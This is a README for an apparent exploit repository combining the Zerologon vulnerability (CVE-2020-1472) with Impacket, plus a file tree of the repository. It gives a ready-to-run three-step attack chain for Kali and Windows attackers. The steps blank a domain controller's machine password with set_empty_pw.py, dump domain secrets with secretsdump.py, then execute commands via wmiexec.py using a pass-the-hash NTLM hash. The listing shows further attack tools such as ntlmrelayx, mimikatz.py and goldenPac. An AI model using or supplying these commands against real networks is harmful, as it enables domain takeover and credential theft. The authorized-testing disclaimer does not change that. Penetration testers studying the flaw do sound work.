This project combines the Zerologon vulnerability exploit (CVE-2020-1472) with Impacket tools for streamlined exploitation and post-exploitation activities. It allows penetration testers to assess and demonstrate the impact of this critical vulnerability in a controlled and authorized environment.# Zerologon and Impacket Combination Exploit (CVE-2020-1472)
This repository contains an updated implementation (2024) of the Zerologon exploit combined with Impacket tools to exploit CVE-2020-1472 (Zerologon). This exploit targets Windows Server environments to manipulate machine account passwords and perform lateral movement.
## Features
- Exploits CVE-2020-1472 (Zerologon) to set the target's machine account password to an empty string.
- Leverages Impacket tools for dumping credentials and executing commands on the victim machine.
## Requirements
1. Python 3.x
2. Install the required dependencies by running:
```bash
pip install -r requirements.txt
```
## Usage
### Example Scenario
- **Victim**: Windows Server 2016
- **Attacker**: Kali Linux (or Windows system)
### Exploit Commands (Kali Linux)
1. Set the machine account password to an empty string:
```bash
python3 set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
```
2. Dump secrets from the Domain Controller:
```bash
python3 secretsdump.py -just-dc tancongmang/WIN-C9PAHHGJN91\$@192.168.40.145
```
3. Execute commands on the victim machine:
```bash
python3 wmiexec.py tancongmang/administrator@192.168.40.145 -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
```
### Exploit Commands (Windows Attacker)
1. Set the machine account password to an empty string:
```cmd
python set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
```
2. Dump secrets from the Domain Controller:
```cmd
python secretsdump.py -just-dc "tancongmang/WIN-C9PAHHGJN91$@192.168.40.145"
```
3. Execute commands on the victim machine:
```cmd
python wmiexec.py tancongmang/administrator@192.168.40.145 -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
```
## Notes
- Replace `WIN-C9PAHHGJN91` and `192.168.40.145` with the actual hostname and IP address of the target.
- Ensure you have proper authorization before using this tool.
- This tool is for educational and penetration testing purposes only.
## Disclaimer
Use this tool responsibly. Unauthorized use of this tool to exploit systems without explicit permission is illegal and unethical. The authors are not responsible for any misuse or damage caused by this tool.
[4.0K] /data/pocs/b2d7af7c1d0acbb680ddc16b623a2cc3fa3b423e
├── [ 29K] addcomputer.py
├── [ 13K] atexec.py
├── [ 48K] ChangeLog.md
├── [ 37K] changepasswd.py
├── [ 47K] dacledit.py
├── [ 28K] dcomexec.py
├── [ 40K] describeTicket.py
├── [ 444] Dockerfile
├── [ 30K] dpapi.py
├── [ 29K] DumpNTLMInfo.py
├── [3.5K] esentutl.py
├── [ 41K] exchanger.py
├── [ 17K] findDelegation.py
├── [ 15K] GetADComputers.py
├── [ 12K] GetADUsers.py
├── [4.3K] getArch.py
├── [ 15K] Get-GPPPassword.py
├── [ 17K] GetLAPSPassword.py
├── [ 22K] GetNPUsers.py
├── [ 13K] getPac.py
├── [ 40K] getST.py
├── [6.2K] getTGT.py
├── [ 29K] GetUserSPNs.py
├── [ 48K] goldenPac.py
├── [4.0K] impacket
│ ├── [ 13K] cdp.py
│ ├── [ 13K] crypto.py
│ ├── [4.0K] dcerpc
│ │ ├── [ 322] __init__.py
│ │ ├── [4.0K] __pycache__
│ │ │ ├── [ 196] __init__.cpython-38.pyc
│ │ │ └── [ 156] __init__.cpython-39.pyc
│ │ └── [4.0K] v5
│ │ ├── [6.7K] atsvc.py
│ │ ├── [4.7K] bkrp.py
│ │ ├── [4.0K] dcom
│ │ │ ├── [ 57K] comev.py
│ │ │ ├── [ 322] __init__.py
│ │ │ ├── [ 32K] oaut.py
│ │ │ ├── [4.0K] __pycache__
│ │ │ │ ├── [ 204] __init__.cpython-38.pyc
│ │ │ │ ├── [ 164] __init__.cpython-39.pyc
│ │ │ │ ├── [ 31K] oaut.cpython-38.pyc
│ │ │ │ ├── [ 31K] oaut.cpython-39.pyc
│ │ │ │ ├── [ 87K] wmi.cpython-38.pyc
│ │ │ │ └── [ 87K] wmi.cpython-39.pyc
│ │ │ ├── [ 12K] scmp.py
│ │ │ ├── [9.4K] vds.py
│ │ │ └── [122K] wmi.py
│ │ ├── [ 66K] dcomrt.py
│ │ ├── [ 39K] dhcpm.py
│ │ ├── [ 43K] drsuapi.py
│ │ ├── [6.5K] dssp.py
│ │ ├── [ 15K] dtypes.py
│ │ ├── [ 28K] enum.py
│ │ ├── [ 92K] epm.py
│ │ ├── [9.5K] even6.py
│ │ ├── [ 12K] even.py
│ │ ├── [7.7K] gkdi.py
│ │ ├── [ 322] __init__.py
│ │ ├── [6.1K] iphlp.py
│ │ ├── [ 56K] lsad.py
│ │ ├── [ 16K] lsat.py
│ │ ├── [5.2K] mgmt.py
│ │ ├── [7.3K] mimilib.py
│ │ ├── [ 66K] ndr.py
│ │ ├── [ 91K] nrpc.py
│ │ ├── [ 38K] nspi.py
│ │ ├── [4.4K] oxabref.py
│ │ ├── [ 22K] par.py
│ │ ├── [4.0K] __pycache__
│ │ │ ├── [ 51K] dcomrt.cpython-38.pyc
│ │ │ ├── [ 51K] dcomrt.cpython-39.pyc
│ │ │ ├── [ 42K] drsuapi.cpython-38.pyc
│ │ │ ├── [ 41K] drsuapi.cpython-39.pyc
│ │ │ ├── [ 15K] dtypes.cpython-38.pyc
│ │ │ ├── [ 15K] dtypes.cpython-39.pyc
│ │ │ ├── [ 18K] enum.cpython-38.pyc
│ │ │ ├── [ 18K] enum.cpython-39.pyc
│ │ │ ├── [ 50K] epm.cpython-38.pyc
│ │ │ ├── [ 50K] epm.cpython-39.pyc
│ │ │ ├── [ 199] __init__.cpython-38.pyc
│ │ │ ├── [ 159] __init__.cpython-39.pyc
│ │ │ ├── [ 49K] lsad.cpython-38.pyc
│ │ │ ├── [ 49K] lsad.cpython-39.pyc
│ │ │ ├── [ 33K] ndr.cpython-38.pyc
│ │ │ ├── [ 33K] ndr.cpython-39.pyc
│ │ │ ├── [ 79K] nrpc.cpython-38.pyc
│ │ │ ├── [ 79K] nrpc.cpython-39.pyc
│ │ │ ├── [ 18K] rpch.cpython-38.pyc
│ │ │ ├── [ 18K] rpch.cpython-39.pyc
│ │ │ ├── [ 44K] rpcrt.cpython-38.pyc
│ │ │ ├── [ 44K] rpcrt.cpython-39.pyc
│ │ │ ├── [ 25K] rrp.cpython-38.pyc
│ │ │ ├── [ 25K] rrp.cpython-39.pyc
│ │ │ ├── [ 87K] samr.cpython-38.pyc
│ │ │ ├── [ 87K] samr.cpython-39.pyc
│ │ │ ├── [ 40K] scmr.cpython-38.pyc
│ │ │ ├── [ 40K] scmr.cpython-39.pyc
│ │ │ ├── [ 20K] transport.cpython-38.pyc
│ │ │ ├── [ 20K] transport.cpython-39.pyc
│ │ │ ├── [ 33K] wkst.cpython-38.pyc
│ │ │ └── [ 33K] wkst.cpython-39.pyc
│ │ ├── [ 32K] rpch.py
│ │ ├── [ 71K] rpcrt.py
│ │ ├── [ 26K] rprn.py
│ │ ├── [ 30K] rrp.py
│ │ ├── [ 97K] samr.py
│ │ ├── [6.2K] sasec.py
│ │ ├── [ 44K] scmr.py
│ │ ├── [ 88K] srvs.py
│ │ ├── [ 20K] transport.py
│ │ ├── [ 23K] tsch.py
│ │ ├── [120K] tsts.py
│ │ └── [ 34K] wkst.py
│ ├── [6.8K] dhcp.py
│ ├── [ 26K] dns.py
│ ├── [1.2K] Dot11Crypto.py
│ ├── [1.6K] Dot11KeyManager.py
│ ├── [109K] dot11.py
│ ├── [ 11K] dpapi_ng.py
│ ├── [ 46K] dpapi.py
│ ├── [1.5K] eap.py
│ ├── [ 36K] ese.py
│ ├── [4.0K] examples
│ │ ├── [ 322] __init__.py
│ │ ├── [ 30K] ldap_shell.py
│ │ ├── [2.0K] logger.py
│ │ ├── [ 14K] mssqlshell.py
│ │ ├── [4.0K] ntlmrelayx
│ │ │ ├── [4.0K] attacks
│ │ │ │ ├── [1.1K] dcsyncattack.py
│ │ │ │ ├── [2.0K] httpattack.py
│ │ │ │ ├── [4.0K] httpattacks
│ │ │ │ │ ├── [4.2K] adcsattack.py
│ │ │ │ │ ├── [ 0] __init__.py
│ │ │ │ │ ├── [8.2K] sccmdpattack.py
│ │ │ │ │ └── [ 28K] sccmpoliciesattack.py
│ │ │ │ ├── [3.8K] imapattack.py
│ │ │ │ ├── [3.0K] __init__.py
│ │ │ │ ├── [ 58K] ldapattack.py
│ │ │ │ ├── [1.9K] mssqlattack.py
│ │ │ │ ├── [4.1K] rpcattack.py
│ │ │ │ └── [9.9K] smbattack.py
│ │ │ ├── [4.0K] clients
│ │ │ │ ├── [ 21K] dcsyncclient.py
│ │ │ │ ├── [5.6K] httprelayclient.py
│ │ │ │ ├── [4.0K] imaprelayclient.py
│ │ │ │ ├── [4.6K] __init__.py
│ │ │ │ ├── [8.3K] ldaprelayclient.py
│ │ │ │ ├── [5.7K] mssqlrelayclient.py
│ │ │ │ ├── [7.8K] rpcrelayclient.py
│ │ │ │ ├── [ 29K] smbrelayclient.py
│ │ │ │ └── [3.2K] smtprelayclient.py
│ │ │ ├── [ 322] __init__.py
│ │ │ ├── [4.0K] servers
│ │ │ │ ├── [ 29K] httprelayserver.py
│ │ │ │ ├── [ 634] __init__.py
│ │ │ │ ├── [ 10K] rawrelayserver.py
│ │ │ │ ├── [ 44K] smbrelayserver.py
│ │ │ │ ├── [4.0K] socksplugins
│ │ │ │ │ ├── [8.2K] http.py
│ │ │ │ │ ├── [2.0K] https.py
│ │ │ │ │ ├── [9.5K] imap.py
│ │ │ │ │ ├── [2.8K] imaps.py
│ │ │ │ │ ├── [1.0K] __init__.py
│ │ │ │ │ ├── [ 14K] ldap.py
│ │ │ │ │ ├── [1.4K] ldaps.py
│ │ │ │ │ ├── [9.2K] mssql.py
│ │ │ │ │ ├── [ 27K] smb.py
│ │ │ │ │ └── [6.8K] smtp.py
│ │ │ │ ├── [ 20K] socksserver.py
│ │ │ │ └── [ 17K] wcfrelayserver.py
│ │ │ └── [4.0K] utils
│ │ │ ├── [8.7K] config.py
│ │ │ ├── [2.6K] enum.py
│ │ │ ├── [ 322] __init__.py
│ │ │ ├── [4.7K] shadow_credentials.py
│ │ │ ├── [2.8K] ssl.py
│ │ │ ├── [8.7K] targetsutils.py
│ │ │ └── [1.3K] tcpshell.py
│ │ ├── [ 74K] os_ident.py
│ │ ├── [4.0K] __pycache__
│ │ │ ├── [ 198] __init__.cpython-38.pyc
│ │ │ ├── [ 158] __init__.cpython-39.pyc
│ │ │ ├── [1.8K] logger.cpython-38.pyc
│ │ │ ├── [1.7K] logger.cpython-39.pyc
│ │ │ ├── [ 85K] secretsdump.cpython-38.pyc
│ │ │ ├── [ 85K] secretsdump.cpython-39.pyc
│ │ │ ├── [1.4K] utils.cpython-38.pyc
│ │ │ └── [1.3K] utils.cpython-39.pyc
│ │ ├── [121K] remcomsvc.py
│ │ ├── [ 11K] rpcdatabase.py
│ │ ├── [141K] secretsdump.py
│ │ ├── [ 11K] serviceinstall.py
│ │ ├── [ 22K] smbclient.py
│ │ └── [1.8K] utils.py
│ ├── [4.3K] helper.py
│ ├── [575K] hresult_errors.py
│ ├── [7.6K] http.py
│ ├── [ 19K] ICMP6.py
│ ├── [ 33K] ImpactDecoder.py
│ ├── [ 65K] ImpactPacket.py
│ ├── [ 881] __init__.py
│ ├── [9.6K] IP6_Address.py
│ ├── [ 11K] IP6_Extension_Headers.py
│ ├── [6.6K] IP6.py
│ ├── [4.0K] krb5
│ │ ├── [ 21K] asn1.py
│ │ ├── [ 28K] ccache.py
│ │ ├── [ 23K] constants.py
│ │ ├── [ 25K] crypto.py
│ │ ├── [9.9K] gssapi.py
│ │ ├── [ 322] __init__.py
│ │ ├── [ 28K] kerberosv5.py
│ │ ├── [9.8K] keytab.py
│ │ ├── [ 15K] kpasswd.py
│ │ ├── [7.6K] pac.py
│ │ ├── [4.0K] __pycache__
│ │ │ ├── [ 19K] asn1.cpython-38.pyc
│ │ │ ├── [ 19K] asn1.cpython-39.pyc
│ │ │ ├── [ 20K] ccache.cpython-38.pyc
│ │ │ ├── [ 20K] ccache.cpython-39.pyc
│ │ │ ├── [ 14K] constants.cpython-38.pyc
│ │ │ ├── [ 14K] constants.cpython-39.pyc
│ │ │ ├── [ 21K] crypto.cpython-38.pyc
│ │ │ ├── [ 21K] crypto.cpython-39.pyc
│ │ │ ├── [7.3K] gssapi.cpython-38.pyc
│ │ │ ├── [7.2K] gssapi.cpython-39.pyc
│ │ │ ├── [ 194] __init__.cpython-38.pyc
│ │ │ ├── [ 154] __init__.cpython-39.pyc
│ │ │ ├── [ 15K] kerberosv5.cpython-38.pyc
│ │ │ ├── [ 15K] kerberosv5.cpython-39.pyc
│ │ │ ├── [8.9K] keytab.cpython-38.pyc
│ │ │ ├── [8.8K] keytab.cpython-39.pyc
│ │ │ ├── [8.5K] types.cpython-38.pyc
│ │ │ └── [8.5K] types.cpython-39.pyc
│ │ └── [ 10K] types.py
│ ├── [4.0K] ldap
│ │ ├── [ 337] __init__.py
│ │ ├── [ 25K] ldapasn1.py
│ │ ├── [ 30K] ldap.py
│ │ ├── [ 16K] ldaptypes.py
│ │ └── [4.0K] __pycache__
│ │ ├── [ 194] __init__.cpython-38.pyc
│ │ ├── [ 154] __init__.cpython-39.pyc
│ │ ├── [ 22K] ldapasn1.cpython-38.pyc
│ │ ├── [ 22K] ldapasn1.cpython-39.pyc
│ │ ├── [ 18K] ldap.cpython-38.pyc
│ │ └── [ 18K] ldap.cpython-39.pyc
│ ├── [309K] mapi_constants.py
│ ├── [ 12K] mqtt.py
│ ├── [117K] msada_guids.py
│ ├── [6.6K] NDP.py
│ ├── [ 35K] nmb.py
│ ├── [381K] nt_errors.py
│ ├── [ 42K] ntlm.py
│ ├── [2.8K] pcapfile.py
│ ├── [5.3K] pcap_linktypes.py
│ ├── [4.0K] __pycache__
│ │ ├── [5.2K] crypto.cpython-38.pyc
│ │ ├── [5.2K] crypto.cpython-39.pyc
│ │ ├── [ 35K] dpapi.cpython-38.pyc
│ │ ├── [ 35K] dpapi.cpython-39.pyc
│ │ ├── [ 21K] ese.cpython-38.pyc
│ │ ├── [ 21K] ese.cpython-39.pyc
│ │ ├── [390K] hresult_errors.cpython-38.pyc
│ │ ├── [390K] hresult_errors.cpython-39.pyc
│ │ ├── [5.9K] http.cpython-38.pyc
│ │ ├── [5.8K] http.cpython-39.pyc
│ │ ├── [ 621] __init__.cpython-38.pyc
│ │ ├── [ 579] __init__.cpython-39.pyc
│ │ ├── [ 28K] nmb.cpython-38.pyc
│ │ ├── [ 28K] nmb.cpython-39.pyc
│ │ ├── [263K] nt_errors.cpython-38.pyc
│ │ ├── [263K] nt_errors.cpython-39.pyc
│ │ ├── [ 22K] ntlm.cpython-38.pyc
│ │ ├── [ 22K] ntlm.cpython-39.pyc
│ │ ├── [ 46K] smb3.cpython-38.pyc
│ │ ├── [ 46K] smb3.cpython-39.pyc
│ │ ├── [ 37K] smb3structs.cpython-38.pyc
│ │ ├── [ 37K] smb3structs.cpython-39.pyc
│ │ ├── [ 35K] smbconnection.cpython-38.pyc
│ │ ├── [ 35K] smbconnection.cpython-39.pyc
│ │ ├── [ 99K] smb.cpython-38.pyc
│ │ ├── [ 99K] smb.cpython-39.pyc
│ │ ├── [8.9K] spnego.cpython-38.pyc
│ │ ├── [8.8K] spnego.cpython-39.pyc
│ │ ├── [ 16K] structure.cpython-38.pyc
│ │ ├── [ 16K] structure.cpython-39.pyc
│ │ ├── [349K] system_errors.cpython-38.pyc
│ │ ├── [349K] system_errors.cpython-39.pyc
│ │ ├── [3.0K] uuid.cpython-38.pyc
│ │ ├── [3.0K] uuid.cpython-39.pyc
│ │ ├── [ 968] version.cpython-38.pyc
│ │ ├── [ 926] version.cpython-39.pyc
│ │ ├── [ 11K] winregistry.cpython-38.pyc
│ │ └── [ 11K] winregistry.cpython-39.pyc
│ ├── [ 94K] smb3.py
│ ├── [ 46K] smb3structs.py
│ ├── [ 44K] smbconnection.py
│ ├── [159K] smb.py
│ ├── [227K] smbserver.py
│ ├── [ 14K] spnego.py
│ ├── [ 22K] structure.py
│ ├── [565K] system_errors.py
│ ├── [ 57K] tds.py
│ ├── [3.1K] uuid.py
│ ├── [1.1K] version.py
│ ├── [ 15K] winregistry.py
│ └── [ 11K] wps.py
├── [ 28K] karmaSMB.py
├── [ 12K] keylistattack.py
├── [9.6K] kintercept.py
├── [8.2K] LICENSE
├── [7.9K] lookupsid.py
├── [7.3K] machine_role.py
├── [ 227] MANIFEST.in
├── [9.1K] mimikatz.py
├── [2.9K] mqtt_check.py
├── [5.0K] mssqlclient.py
├── [1.5K] mssqlinstance.py
├── [ 28K] net.py
├── [ 22K] netview.py
├── [ 39K] ntfs-read.py
├── [ 30K] ntlmrelayx.py
├── [ 23K] owneredit.py
├── [2.5K] ping6.py
├── [2.6K] ping.py
├── [ 30K] psexec.py
├── [ 61K] raiseChild.py
├── [ 23K] rbcd.py
├── [ 23K] rdp_check.py
├── [2.2K] README.md
├── [5.1K] registry-read.py
├── [ 31K] reg.py
├── [6.4K] reinstall_original_pw.py
├── [ 17] requirements-test.txt
├── [ 393] requirements.txt
├── [8.1K] rpcdump.py
├── [ 17K] rpcmap.py
├── [ 12K] sambaPipe.py
├── [ 11K] samrdump.py
├── [ 28K] secretsdump.py
├── [ 320] SECURITY.md
├── [ 17K] services.py
├── [5.7K] set_empty_pw.py
├── [3.1K] setup.py
├── [5.2K] smbclient.py
├── [ 16K] smbexec.py
├── [4.4K] smbserver.py
├── [2.3K] sniffer.py
├── [3.2K] sniff.py
├── [4.5K] split.py
├── [ 11K] TESTING.md
├── [4.0K] tests
│ ├── [1.4K] conftest.py
│ ├── [4.0K] data
│ │ ├── [1.4K] ccache-v1
│ │ ├── [1.4K] ccache-v2
│ │ ├── [1.4K] ccache-v3
│ │ ├── [1.3K] ccache-v3-kirbi
│ │ ├── [1.5K] ccache-v4
│ │ └── [1.3K] ccache-v4-kirbi
│ ├── [4.0K] dcerpc
│ │ ├── [2.9K] __init__.py
│ │ ├── [5.8K] test_bkrp.py
│ │ ├── [ 11K] test_dcomrt.py
│ │ ├── [6.2K] test_dhcpm.py
│ │ ├── [ 18K] test_drsuapi.py
│ │ ├── [4.5K] test_epm.py
│ │ ├── [3.0K] test_even6.py
│ │ ├── [6.9K] test_even.py
│ │ ├── [2.2K] test_fasp.py
│ │ ├── [ 42K] test_lsad.py
│ │ ├── [ 12K] test_lsat.py
│ │ ├── [3.5K] test_mgmt.py
│ │ ├── [4.7K] test_mimilib.py
│ │ ├── [ 41K] test_nrpc.py
│ │ ├── [3.2K] test_par.py
│ │ ├── [7.8K] test_rprn.py
│ │ ├── [ 25K] test_rrp.py
│ │ ├── [100K] test_samr.py
│ │ ├── [ 28K] test_scmr.py
│ │ ├── [ 40K] test_srvs.py
│ │ ├── [ 32K] test_tsch.py
│ │ └── [ 19K] test_wkst.py
│ ├── [ 491] dcetests.cfg.template
│ ├── [4.0K] dot11
│ │ ├── [ 259] __init__.py
│ │ ├── [3.6K] test_Dot11Base.py
│ │ ├── [3.0K] test_Dot11Decoder.py
│ │ ├── [5.9K] test_Dot11HierarchicalUpdate.py
│ │ ├── [1.9K] test_FrameControlACK.py
│ │ ├── [2.4K] test_FrameControlCFEndCFACK.py
│ │ ├── [2.3K] test_FrameControlCFEnd.py
│ │ ├── [1.9K] test_FrameControlCTS.py
│ │ ├── [2.3K] test_FrameControlPSPoll.py
│ │ ├── [2.2K] test_FrameControlRTS.py
│ │ ├── [4.0K] test_FrameData.py
│ │ ├── [9.0K] test_FrameManagementAssociationRequest.py
│ │ ├── [8.0K] test_FrameManagementAssociationResponse.py
│ │ ├── [7.0K] test_FrameManagementAuthentication.py
│ │ ├── [5.6K] test_FrameManagementDeauthentication.py
│ │ ├── [5.6K] test_FrameManagementDisassociation.py
│ │ ├── [6.6K] test_FrameManagementProbeRequest.py
│ │ ├── [ 11K] test_FrameManagementProbeResponse.py
│ │ ├── [9.2K] test_FrameManagement.py
│ │ ├── [9.5K] test_FrameManagementReassociationRequest.py
│ │ ├── [8.1K] test_FrameManagementReassociationResponse.py
│ │ ├── [1.5K] test_helper.py
│ │ ├── [4.6K] test_RadioTapDecoder.py
│ │ ├── [ 29K] test_RadioTap.py
│ │ ├── [6.2K] test_WEPDecoder.py
│ │ ├── [4.6K] test_WEPEncoder.py
│ │ ├── [4.1K] test_WPA2.py
│ │ ├── [5.7K] test_WPA.py
│ │ └── [1.3K] test_wps.py
│ ├── [4.0K] ImpactPacket
│ │ ├── [ 339] __init__.py
│ │ ├── [4.4K] test_ethernet.py
│ │ ├── [9.4K] test_ICMP6.py
│ │ ├── [8.4K] test_IP6_Address.py
│ │ ├── [ 28K] test_IP6_Extension_Headers.py
│ │ ├── [3.1K] test_IP6.py
│ │ ├── [1.6K] test_TCP_bug_issue7.py
│ │ └── [4.5K] test_TCP.py
│ ├── [4.5K] __init__.py
│ ├── [4.0K] misc
│ │ ├── [ 259] __init__.py
│ │ ├── [4.5K] test_ccache.py
│ │ ├── [3.4K] test_crypto.py
│ │ ├── [5.2K] test_dcerpc_v5_ndr.py
│ │ ├── [8.9K] test_dns.py
│ │ ├── [ 19K] test_dpapi.py
│ │ ├── [2.4K] test_ip6_address.py
│ │ ├── [7.5K] test_krb5_crypto.py
│ │ ├── [7.0K] test_structure.py
│ │ └── [2.5K] test_utils.py
│ ├── [4.0K] SMB_RPC
│ │ ├── [ 339] __init__.py
│ │ ├── [5.0K] test_ldap.py
│ │ ├── [125K] test_ndr.py
│ │ ├── [2.8K] test_nmb.py
│ │ ├── [ 20K] test_ntlm.py
│ │ ├── [9.8K] test_rpch.py
│ │ ├── [ 18K] test_rpcrt.py
│ │ ├── [ 13K] test_secretsdump.py
│ │ ├── [ 13K] test_smb.py
│ │ ├── [ 27K] test_smbserver.py
│ │ ├── [4.2K] test_spnego.py
│ │ └── [ 18K] test_wmi.py
│ └── [ 564] walkmodules.py
├── [2.3K] ticketConverter.py
├── [ 62K] ticketer.py
├── [1.4K] tox.ini
├── [ 32K] tstool.py
├── [ 20K] wmiexec.py
├── [ 12K] wmipersist.py
└── [8.9K] wmiquery.py
28 directories, 432 files